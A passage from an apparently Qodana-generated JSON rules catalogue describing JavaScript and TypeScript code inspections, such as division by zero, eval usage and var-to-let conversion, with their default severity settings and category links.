and is often a result of an error.\",\n                  \"markdown\": \"Reports an assignment to a variable declared as a `for` loop parameter. Although occasionally intended, this construct can be extremely confusing, and is often a result of an error.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"AssignmentToForLoopParameterJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Assignment issues\",\n                      \"index\": 34,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSPotentiallyInvalidConstructorUsage\",\n                \"shortDescription\": {\n                  \"text\": \"Potentially invalid constructor usage\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a usage of a potentially invalid constructor function, for example: a function that is not a constructor after 'new', using a constructor's prototype or calling a constructor without 'new'. A constructor function is assumed to have an upper case name (optional) or have an explicit JSDoc '@constructor' tag.\",\n                  \"markdown\": \"Reports a usage of a potentially invalid constructor function, for example: a function that is not a constructor after `new`, using a constructor's prototype or calling a constructor without `new`. A constructor function is assumed to have an upper case name (optional) or have an explicit JSDoc `@constructor` tag.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSPotentiallyInvalidConstructorUsage\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Probable bugs\",\n                      \"index\": 13,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"PointlessArithmeticExpressionJS\",\n                \"shortDescription\": {\n                  \"text\": \"Pointless arithmetic expression\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an arithmetic expression that include adding or subtracting zero, multiplying by zero or one, division by one, and shift by zero. Such expressions may result from not fully completed automated refactoring.\",\n                  \"markdown\": \"Reports an arithmetic expression that include adding or subtracting zero, multiplying by zero or one, division by one, and shift by zero. Such expressions may result from not fully completed automated refactoring.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"PointlessArithmeticExpressionJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Potentially confusing code constructs\",\n                      \"index\": 24,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"NodeCoreCodingAssistance\",\n                \"shortDescription\": {\n                  \"text\": \"Unresolved Node.js APIs\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Suggests configuring coding assistance for Node.js, for example, 'require' and/or core modules ('path', 'http', 'fs', etc.). See https://nodejs.org/api/ for the complete list.\",\n                  \"markdown\": \"Suggests configuring coding assistance for Node.js, for example, `require` and/or core modules ('path', 'http', 'fs', etc.).\\n\\n\\nSee <https://nodejs.org/api/> for the complete list.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"NodeCoreCodingAssistance\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Node.js\",\n                      \"index\": 39,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSUndeclaredVariable\",\n                \"shortDescription\": {\n                  \"text\": \"Implicitly declared global JavaScript variable\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an implicit declaration of a global variable. Example: 'var aaa = 1; // good\\n  bbb = 2; // bad, if bbb is not declared with 'var' somewhere'\",\n                  \"markdown\": \"Reports an implicit declaration of a global variable.\\n\\nExample:\\n\\n\\n      var aaa = 1; // good\\n      bbb = 2; // bad, if bbb is not declared with 'var' somewhere\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSUndeclaredVariable\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"DivideByZeroJS\",\n                \"shortDescription\": {\n                  \"text\": \"Division by zero\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports division by zero or a remainder by zero.\",\n                  \"markdown\": \"Reports division by zero or a remainder by zero.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"DivideByZeroJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Probable bugs\",\n                      \"index\": 13,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSPrimitiveTypeWrapperUsage\",\n                \"shortDescription\": {\n                  \"text\": \"Primitive type object wrapper used\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an improper usage of a wrapper for primitive types or a property of a primitive type being modified, as in the latter case the assigned value will be lost.\",\n                  \"markdown\": \"Reports an improper usage of a wrapper for primitive types or a property of a primitive type being modified, as in the latter case the assigned value will be lost.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSPrimitiveTypeWrapperUsage\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"TypeScriptSmartCast\",\n                \"shortDescription\": {\n                  \"text\": \"Narrowed type\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a usage of a variable where the variable type is narrowed by a type guard. Note that severity level doesn't affect this inspection.\",\n                  \"markdown\": \"Reports a usage of a variable where the variable type is narrowed by a type guard. Note that severity level doesn't affect this inspection.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"TypeScriptSmartCast\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/TypeScript\",\n                      \"index\": 22,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ES6ConvertIndexedForToForOf\",\n                \"shortDescription\": {\n                  \"text\": \"Indexed 'for' is used instead of 'for..of'\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an indexed 'for' loop used on an array. Suggests replacing it with a 'for..of' loop. 'for..of' loops are introduced in ECMAScript 6 and iterate over 'iterable' objects.\",\n                  \"markdown\": \"Reports an indexed [for](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for) loop used on an array. Suggests replacing it with a [for..of](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of) loop.   \\n`for..of` loops are introduced in ECMAScript 6 and iterate over `iterable` objects.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ES6ConvertIndexedForToForOf\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/ES2015 migration aids\",\n                      \"index\": 18,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSLastCommaInArrayLiteral\",\n                \"shortDescription\": {\n                  \"text\": \"Unneeded last comma in array literal\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a usage of a trailing comma in an array literal. The warning is reported only when the JavaScript language version is set to ECMAScript 5.1. Although trailing commas in arrays are allowed by the specification, some browsers may throw an error when a trailing comma is used. You can configure formatting options for trailing commas in Code Style | JavaScript or TypeScript | Punctuation.\",\n                  \"markdown\": \"Reports a usage of a trailing comma in an array literal.\\n\\nThe warning is reported only when the JavaScript language version is set to ECMAScript 5.1.\\n\\nAlthough trailing commas in arrays are allowed by the specification, some browsers may throw an error when a trailing comma is used.\\n\\nYou can configure formatting options for trailing commas in **Code Style** \\\\| **JavaScript** or **TypeScript** \\\\| **Punctuation**.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSLastCommaInArrayLiteral\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ConditionalExpressionJS\",\n                \"shortDescription\": {\n                  \"text\": \"Conditional expression\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a ternary conditional expression. Some coding standards prohibit such expressions in favor of explicit 'if' statements.\",\n                  \"markdown\": \"Reports a ternary conditional expression. Some coding standards prohibit such expressions in favor of explicit `if` statements.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ConditionalExpressionJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Potentially undesirable code constructs\",\n                      \"index\": 11,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ES6ConvertVarToLetConst\",\n                \"shortDescription\": {\n                  \"text\": \"'var' is used instead of 'let' or 'const'\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'var' declaration that is used instead of 'let' or 'const'. Both 'let' and 'const' are block-scoped and behave more strictly. Suggests replacing all 'var' declarations with 'let' or 'const' declarations, depending on the semantics of a particular value. The declarations may be moved to the top of the function or placed before the first usage of the variable to avoid Reference errors. Select the 'Conservatively convert var with Fix all action' option to prevent any changes in these complex cases when using the 'Fix all' action.\",\n                  \"markdown\": \"Reports a `var` declaration that is used instead of `let` or `const`.  \\nBoth `let` and `const` are block-scoped and behave more strictly.   \\n\\nSuggests replacing all `var` declarations with `let` or `const` declarations, depending on the semantics of a particular value. The declarations may be moved to the top of the function or placed before the first usage of the variable to avoid Reference errors.   \\nSelect the 'Conservatively convert var with Fix all action' option to prevent any changes in these complex cases when using the 'Fix all' action.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ES6ConvertVarToLetConst\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/ES2015 migration aids\",\n                      \"index\": 18,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"PointlessBooleanExpressionJS\",\n                \"shortDescription\": {\n                  \"text\": \"Pointless statement or boolean expression\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a pointless or pointlessly complicated boolean expression or statement. Example: 'let a = !(false && x);\\n  let b = false || x;' After the quick fix is applied the result looks like: 'let a = true;\\n  let b = x;'\",\n                  \"markdown\": \"Reports a pointless or pointlessly complicated boolean expression or statement.\\n\\nExample:\\n\\n\\n      let a = !(false && x);\\n      let b = false || x;\\n\\nAfter the quick fix is applied the result looks like:\\n\\n\\n      let a = true;\\n      let b = x;\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"PointlessBooleanExpressionJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Control flow issues\",\n                      \"index\": 1,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSReferencingMutableVariableFromClosure\",\n                \"shortDescription\": {\n                  \"text\": \"Referencing mutable variable from closure\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports access to outer mutable variables from functions. Example: 'for (var i = 1; i <= 3; i++) {\\n    setTimeout(function() {\\n        console.log(i); // bad\\n    }, 0);\\n  }'\",\n                  \"markdown\": \"Reports access to outer mutable variables from functions.\\n\\nExample:\\n\\n\\n      for (var i = 1; i <= 3; i++) {\\n        setTimeout(function() {\\n            console.log(i); // bad\\n        }, 0);\\n      }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSReferencingMutableVariableFromClosure\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"DynamicallyGeneratedCodeJS\",\n                \"shortDescription\": {\n                  \"text\": \"Execution of dynamically generated code\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a call of the 'eval()', 'setTimeout()', or 'setInterval()' function or an allocation of a 'Function' object. These functions are used to execute arbitrary strings of JavaScript text, which often dynamically generated. This can be very confusing, and may be a security risk. Ignores the cases when a callback function is provided to these methods statically, without code generation.\",\n                  \"markdown\": \"Reports a call of the `eval()`, `setTimeout()`, or `setInterval()` function or an allocation of a `Function` object. These functions are used to execute arbitrary strings of JavaScript text, which often dynamically generated. This can be very confusing, and may be a security risk.   \\n\\nIgnores the cases when a callback function is provided to these methods statically, without code generation.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"DynamicallyGeneratedCodeJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Potentially confusing code constructs\",\n                      \"index\": 24,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"NegatedConditionalExpressionJS\",\n                \"shortDescription\": {\n                  \"text\": \"Negated conditional expression\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a conditional expression whose condition is negated. Suggests flipping the order of branches in the conditional expression to increase the clarity of the statement. Example: '!condition ? 2 : 1'\",\n                  \"markdown\": \"Reports a conditional expression whose condition is negated. Suggests flipping the order of branches in the conditional expression to increase the clarity of the statement. Example: `!condition ? 2 : 1`\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"NegatedConditionalExpressionJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Potentially confusing code constructs\",\n                      \"index\": 24,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSUrlImportUsage\",\n                \"shortDescription\": {\n                  \"text\": \"URL import is used\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Checks used URL imports in the JavaScript language. Suggests downloading the module for the specified remote URL. Such association enables the IDE to provide proper code completion and navigation. URLs in import specifiers are supported only for ECMAScript modules in the JavaScript language.\",\n                  \"markdown\": \"Checks used URL imports in the JavaScript language. Suggests downloading the module for the specified remote URL. Such association enables the IDE to provide proper code completion and navigation.   \\n\\nURLs in import specifiers are supported only for ECMAScript modules in the JavaScript language.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSUrlImportUsage\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Imports and dependencies\",\n                      \"index\": 42,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"UnnecessaryLabelOnContinueStatementJS\",\n                \"shortDescription\": {\n                  \"text\": \"Unnecessary label on 'continue' statement\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a labeled 'continue' statement whose labels may be removed without changing the flow of control.\",\n                  \"markdown\": \"Reports a labeled `continue` statement whose labels may be removed without changing the flow of control.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"UnnecessaryLabelOnContinueStatementJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Control flow issues\",\n                      \"index\": 1,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ChainedEqualityJS\",\n                \"shortDescription\": {\n                  \"text\": \"Chained equality\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a chained equality comparison (i.e. 'a==b==c'). Such comparisons are confusing.\",\n                  \"markdown\": \"Reports a chained equality comparison (i.e. `a==b==c`). Such comparisons are confusing.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ChainedEqualityComparisonsJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Code style issues\",\n                      \"index\": 10,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"SillyAssignmentJS\",\n                \"shortDescription\": {\n                  \"text\": \"Variable is assigned to itself\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an assignment in the form 'x = x'.\",\n                  \"markdown\": \"Reports an assignment in the form `x = x`.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"SillyAssignmentJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Assignment issues\",\n                      \"index\": 34,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSPotentiallyInvalidTargetOfIndexedPropertyAccess\",\n                \"shortDescription\": {\n                  \"text\": \"Possibly incorrect target of indexed property access\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a potentially invalid indexed property access, for example, 'Array[1]'.\",\n                  \"markdown\": \"Reports a potentially invalid indexed property access, for example, `Array[1]`.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSPotentiallyInvalidTargetOfIndexedPropertyAccess\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Probable bugs\",\n                      \"index\": 13,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSAccessibilityCheck\",\n                \"shortDescription\": {\n                  \"text\": \"Inaccessible @private and @protected members referenced\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a reference to a JavaScript member that is marked with a '@private' or '@protected' tag but does not comply with visibility rules that these tags imply.\",\n                  \"markdown\": \"Reports a reference to a JavaScript member that is marked with a `@private` or `@protected` tag but does not comply with visibility rules that these tags imply.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSAccessibilityCheck\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ES6ConvertRequireIntoImport\",\n                \"shortDescription\": {\n                  \"text\": \"'require()' is used instead of 'import'\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'require()' statement. Suggests converting it to a 'require()' call with an 'import' statement. Enable 'Convert require() inside inner scopes with Fix all action' to convert all 'require()' calls inside the nested functions and statements when using the 'Fix all' action. Please note that converting 'require()' statements inside inner scopes to 'import' statements may cause changes in the semantics of the code. Import statements are static module dependencies and are hoisted, which means that they are moved to the top of the current module. 'require()' calls load modules dynamically. They can be executed conditionally, and their scope is defined by the expression in which they are used. Clear the 'Convert require() inside inner scopes with Fix all action' checkbox to prevent any changes in these complex cases when using the 'Fix all' action.\",\n                  \"markdown\": \"Reports a `require()` statement. Suggests converting it to a `require()` call with an `import` statement.   \\n\\nEnable 'Convert require() inside inner scopes with Fix all action' to convert all `require()` calls inside the nested functions and statements when using the 'Fix all' action.   \\n\\nPlease note that converting `require()` statements inside inner scopes to `import` statements may cause changes in the semantics of the code. Import statements are static module dependencies and are hoisted, which means that they are moved to the top of the current module. `require()` calls load modules dynamically. They can be executed conditionally, and their scope is defined by the expression in which they are used.   \\nClear the 'Convert require() inside inner scopes with Fix all action' checkbox to prevent any changes in these complex cases when using the 'Fix all' action.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ES6ConvertRequireIntoImport\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": \"Info\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/ES2015 migration aids\",\n                      \"index\": 18,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"FunctionWithMultipleLoopsJS\",\n                \"shortDescription\": {\n                  \"text\": \"Function with multiple loops\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a function with multiple loop statements.\",\n                  \"markdown\": \"Reports a function with multiple loop statements.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"FunctionWithMultipleLoopsJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Function metrics\",\n                      \"index\": 29,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"LabeledStatementJS\",\n                \"shortDescription\": {\n                  \"text\": \"Labeled statement\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a labeled statement.\",\n                  \"markdown\": \"Reports a labeled statement.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"LabeledStatementJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Potentially undesirable code constructs\",\n                      \"index\": 11,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"UnusedCatchParameterJS\",\n                \"shortDescription\": {\n                  \"text\": \"Unused 'catch' parameter\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'catch' parameter that is not used in the corresponding block. The 'catch' parameters named 'ignore' or 'ignored' are ignored. Use the checkbox below to disable this inspection for 'catch' blocks with comments.\",\n                  \"markdown\": \"Reports a `catch` parameter that is not used in the corresponding block. The `catch` parameters named `ignore` or `ignored` are ignored.\\n\\n\\nUse the checkbox below to disable this inspection for `catch`\\nblocks with comments.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"UnusedCatchParameterJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Try statement issues\",\n                      \"index\": 27,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"NpmUsedModulesInstalled\",\n                \"shortDescription\": {\n                  \"text\": \"Missing module dependency\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a module from a 'require()' call or an 'import' statement that is not installed or is not listed in package.json dependencies. Suggests installing the module and/or including it into package.json. For 'require()' calls, works only in the files from the scope of Node.js Core JavaScript library.\",\n                  \"markdown\": \"Reports a module from a `require()` call or an `import` statement that is not installed or is not listed in package.json dependencies.\\n\\nSuggests installing the module and/or including it into package.json.\\n\\nFor `require()` calls, works only in the files from the scope of *Node.js Core* JavaScript library.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"NpmUsedModulesInstalled\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Imports and dependencies\",\n                      \"index\": 42,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n    